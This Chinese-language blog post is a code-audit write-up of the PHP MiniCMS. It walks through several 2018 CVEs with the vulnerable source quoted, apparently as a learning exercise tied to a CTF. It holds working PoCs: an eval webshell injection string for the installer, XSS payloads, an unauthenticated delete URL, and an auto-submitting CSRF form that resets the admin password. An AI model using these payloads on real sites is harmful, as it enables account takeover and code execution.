前言
在之前ctfshow的DJBCTF里的虎山行那题结合着MiniCMS出了题目,当时的自己没有审这么多代码的经验,没有做出来。赛后也仅仅是照着大师傅们的WP沿着出题人自己加的那些漏洞点给复现了一遍,但是对于MiniCMS并没有认认真真的审一遍。因为这个CMS的代码真的比较简单易懂,对于想要开始审计CMS的自己来说是一个非常好的开胃菜,所以就大致把这个CMS的代码看了一遍,复现了一下这个CMS的种种CVE漏洞。
引用一下结构:
│ build.php
│ index.php 整个项目的入口,首先引入核心库mc-core.php,然后进行路由,对路由结果进行相应的渲染,相当于MVC中的C
│ install.txt 复制为php文件后,用来安装MiniCMS
│ README.md
│
├─mc-admin 管理功能的实现
│ conf.php 用户设置页面,包括接收和保存更改的设置
│ editor.php 编辑器的大小、样式调整的库
│ foot.php html<foot>标签构造
│ head.php token验证,html<head>标签构造;若验证失败,跳转至主页
│ index.php 后台登陆身份验证页面
│ page-edit.php 页面编写处理逻辑,包括显示编辑页面、接收提交的页面、页面序列化储存
│ page.php 管理页面的库,声明加载数据、删除页面、还原页面(从回收站还原)
│ post-edit.php 文章编写处理逻辑,包括显示编辑页面、接收提交的页面、页面序列化储存
│ post.php 管理文章的库,声明加载数据、删除文章、还原文章(从回收站还原)
│ style.css 后台用到的CSS
│
└─mc-files
│ markdown.php 一个开源的markdown解析库
│ mc-conf.php 配置文件,包含用户名和密码等敏感信息
│ mc-core.php 引入mc-tags、mc-conf,声明404函数
│ mc-rss.php 订购RSS的链接
│ mc-tags.php 相当于M,引入markdown、包括一些核心函数,包括了加载各种信息的函数(网站名、文章数、前进后退等,中间有各种过滤,可以重点分析)
│
├─pages
│ └─index
│ delete.php 使用数组储存了删除页面的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
│ draft.php 使用数组储存了草稿页面的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
│ publish.php 使用数组储存了已发布的页面的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
│
├─posts
│ ├─data 储存了文章内容的反序列化数据(文章内容等)
│ └─index
│ delete.php 使用数组储存了删除的文章的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
│ draft.php 使用数组储存了草稿文章的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
│ publish.php 使用数组储存了已发布文章的信息(id、标题、标签等)与data文件夹内的文章数据一一对应
│
└─theme
index.php 主题文件,决定了页面的风格,将C传入的信息显示出来,相当于V
style.css 主题使用的CSS风格
引用一下大师傅们的CVE总结:
-
CVE-2018-1000638 反射型XSS
存在位置:/MiniCMS-master/mc-admin/page.php处date参数存在XSS漏洞 -
CVE-2018-10227 储存型XSS
存在位置:/MiniCMS-master/MiniCMS-master/mc-admin/conf.php
在设置中修改网站地址处存在XSS漏洞,可直接储存XSS payload。 -
CVE-2018-10296 储存型XSS 存在位置: /MiniCMS-master/mc-admin/post-edit.php
编辑文章标题处可直接储存XSS payload。 -
CVE-2018-10423
个人认为不是漏洞,只是个BUG,此处的BUG只是网页中的超链接错误地指向了网站根目录,点击后就会去访问网站根目录,这个时候,洞主的apache配置没有关文件遍历,就误认为是CMS的漏洞,显然是不对的,洞主应该是刷分的,没想到竟然过了:)。 -
CVE-2018-10424 物理路径泄露
存在位置:/MiniCMS-master/mc-admin/post-edit.php处将GET的参数id改为不存在的文件名,会爆出物理地址。 -
CVE-2018-15899 反射型XSS
存在位置:/minicms/mc-admin/page.php的GET参数date存在XSS(似乎与CVE-2018-1000638重复了。。)。 -
CVE-2018-16233 反射型XSS
存在位置:/MiniCMS-1.10/mc-admin/post-edit.php处的POST参数tags存在XSS。 -
CVE-2018-16298 反射型XSS
存在位置:/MiniCMS-1.10/mc-admin/post.php的GET参数tag存在XSS。 -
CVE-2018-17039 反射型XSS 存在位置:/mc-admin/index.php使用任意GET参数并取XSS
payload,可在IE浏览器中执行JS。 -
CVE-2018-18890 物理路径泄露
存在位置:post.php?delete=qe54cn&state=delete删除不存在的文章时爆出物理路径。 -
CVE-2018-18891 部分文件删除(逻辑漏洞,删除操作在身份认证之前进行)
存在位置:/mc-admin/post.php?delete=qe54cn&state=delete不用登陆可直接删除文章。 -
CVE-2018-18892 鸡肋的RCE 存在位置:
install.php在安装时在配置处可以向配置文件直接注入PHP代码;由于在MiniCMS安装完毕后此文件会自我删除,在实际情况下并没有太大的作用。 -
CVE-2018-20520 反射型XSS
存在位置:类似于CVE-2018-17039,/MiniCMS1/mc-admin/post-edit.php使用任意GET参数并取XSS
payload,可在IE浏览器中执行JS。 -
CVE-2018-9092 CSRF 存在位置:
http://127.0.0.1//MiniCMS/mc-admin/post.php?delete=aaaaaa&state=publish&date=&tag= 此处的CSRF会导致任意文章删除: -
CVE-2019-9603 CSRF 存在位置:/minicms/mc-admin/conf.php
此处的CSRF会导致任意修改网站配置。
慢慢把这些CVE复现一遍。
MiCMS源码下载:MiniCMS
CVE-2018-18892 鸡肋的RCE
确实是一个鸡肋的RCE,可以说99.9%是没用的,剩下0.1%就在DJBCTF出现了,太离谱了。
关键就在install.txt,这个文件是要改后缀成php然后进行安装。关键代码是这里:
if (!@file_put_contents('mc-files/mc-conf.php',
"<?php \$mc_config = array(".
"'version' => '/*MINICMS_VERSION*/',".
"'site_link' => '{
$_POST['sitelink']}',".
"'site_name' => '{
$_POST['sitename']}',".
"'site_desc' => '又一个MiniCMS网站',".
"'user_name' => '{
$_POST['username']}',".
"'user_pass' => '{
$_POST['password']}',".
"'user_nick' => '{
$_POST['nickname']}',".
"'comment_code' => '');?>"
)) {
相当于安装的时候进行设置,而且是直接把POST的参数写进了mc-conf.php里面,这个文件是在后面的各种功能里基本上都会require的文件,能直接往里面写马,任意一个POST参数传:
');eval($_POST['feng']);//
这个洞也可能是开发自己留的,可能是开发都觉得这个没过滤也没关系。。毕竟是自己进行install的。。。过于鸡肋。
CVE-2018-1000638 反射型XSS
MiniCMS version 1.1 contains a Cross Site Scripting (XSS) vulnerability in http://example.org/mc-admin/page.php?date={payload} that can result in code injection.
if (isset($_GET['date']))
$filter_date = $_GET['date'];
else
$filter_date = '';
又GET传入参数date,之后是$filter_date
,没有任何的过滤就插入了前端代码中,而且插入了许多的位置。
<a class="link_button" href="?state=<?php echo $state; ?>&date=<?php echo $filter_date;?>">«</a>
POC:
?date="></a><img%20src=1%20onerror=alert(1)><a>
CVE-2018-10227 存储型XSS
MiniCMS v1.10 has XSS via the mc-admin/conf.php site_link parameter.
if (isset($_POST['save'])) {
$user_name_changed = $_POST['user_name'] != $mc_config['user_name'];
$mc_config['site_name'] = $_POST['site_name'];
$mc_config['site_desc'] = $_POST['site_desc'];
$mc_config['site_link'] = $_POST['site_link'];
$mc_config['user_nick'] = $_POST['user_nick'];
$mc_config['user_name'] = $_POST['user_name'];
$mc_config['comment_code'] = get_magic_quotes_gpc() ? stripslashes(trim($_POST['comment_code'])) : trim($_POST['comment_code']);
if ($_POST['user_pass'] != '')
$mc_config['user_pass'] = $_POST['user_pass'];
$code = "<?php\n\$mc_config = ".var_export($mc_config, true)."\n?>";
file_put_contents('../mc-files/mc-conf.php', $code);
conf.php进行设置的更改,site_link没有过滤直接写入了mc-conf.php。虽然下面出现了过滤性的输出:
value="<?php echo htmlspecialchars($site_link); ?>" />
但是在head.php里面:
<h3 id="menu_title"><a href="<?php echo $mc_config['site_link'] != '' ? $mc_config['site_link'] : '/'; ?>"><?php echo htmlspecialchars($mc_config['site_name']); ?></a></h3>
直接把$mc_config['site_link']
输出给了前端,并没有htmlspecialchars的过滤。我很好奇为什么后面的site_name却有过滤。。。看来又是开发的锅了。
POC:
http://www.fuxian.com"></a><img src=1 οnerrοr=alert(1)><a>
剩下的一些XSS就不放了,原理都差不多,就是开发对输入没过滤。
CVE-2018-10424
mc-admin/post-edit.php in MiniCMS 1.10 allows full path disclosure via
a modified id field.
第一次审CVE。。。这也能算洞吗。。。也能拿CVE吗。。。
} else if (isset($_GET['id'])) {
$file_path = '../mc-files/posts/data/'.$_GET['id'].'.dat';
$data = unserialize(file_get_contents($file_path));
$post_id = $data['id'];
$post_state = $data['state'];
$post_title = $data['title'];
$post_content = $data['content'];
$post_tags = $data['tags'];
$post_date = $data['date'];
$post_time = $data['time'];
$post_can_comment = isset($data['can_comment']) ? $data['can_comment'] : '1';
}
如果get传id,前端输出的内容就是id对应的文章内容,这里输入不存在的id会报错,爆出物理路径:
CVE-2018-18891
MiniCMS 1.10 allows file deletion via /mc-admin/post.php?state=delete&delete= because the authentication check occurs too late.
越权的漏洞,需要审代码才可以发现。主要的问题就在于权限判断是在head.php:
ini_set("display_errors", "On"); error_reporting(E_ALL);
require_once '../mc-files/mc-conf.php';
if (isset($_COOKIE['mc_token'])) {
$token = $_COOKIE['mc_token'];
if ($token != md5($mc_config['user_name'].'_'.$mc_config['user_pass'])) {
Header("Location:index.php");
exit;
}
} else {
Header("Location:index.php");
exit;
}
而在post.php和page.php都出现了这么一个问题,等到他们本身的php代码都执行完之后,才在第188行进行require:
<?php require 'head.php' ?>
而如果要进行文章删除的功能,在require之前的代码中执行,因为造成了垂直越权的文章删除。
POC:
http://www.fuxian.com/mc-admin/post.php?state=delete&delete=aaaaaa
CVE-2018-9092
There is a CSRF vulnerability in mc-admin/conf.php in MiniCMS 1.10 that can change the administrator account password.
基本上算是可以随便修改配置了,看来是MiniCMS对于CSRF这块并没有进行防御,
POC如下:
<html>
<head><meta http-equiv="Content-Type" content="text/html; charset=GB2312">
<title>test</title>
<body>
<form action="http://127.0.0.1/minicms/mc-admin/conf.php" method="post">
<input type="hidden" name="site_name" value="hack123" />
<input type="hidden" name="site_desc" value="hacktest" />
<input type="hidden" name="site_link" value="http://127.0.0.1/minicms" />
<input type="hidden" name="user_nick" value="hack" />
<input type="hidden" name="user_name" value="admin" />
<input type="hidden" name="user_pass" value="hackpass" />
<input type="hidden" name="comment_code" value="" />
<input type="hidden" name="save" value="保存设置" />
</form>
<script>
document.forms[0].submit();
</script>
</body>
</head>
</html>
总结
MiniCMS基本上没什么比较深入的洞,都是XSS,CSRF这样的洞,审一下这个CMS只是入门找找感觉,以及稍微看一下CMS的开发方式。
最近一个搞安全的学长对我说想成长的快就要多读代码,确实如此。我代码审的还是少了,PHP是如此,后续学习Java的审计同样也要多看代码才是。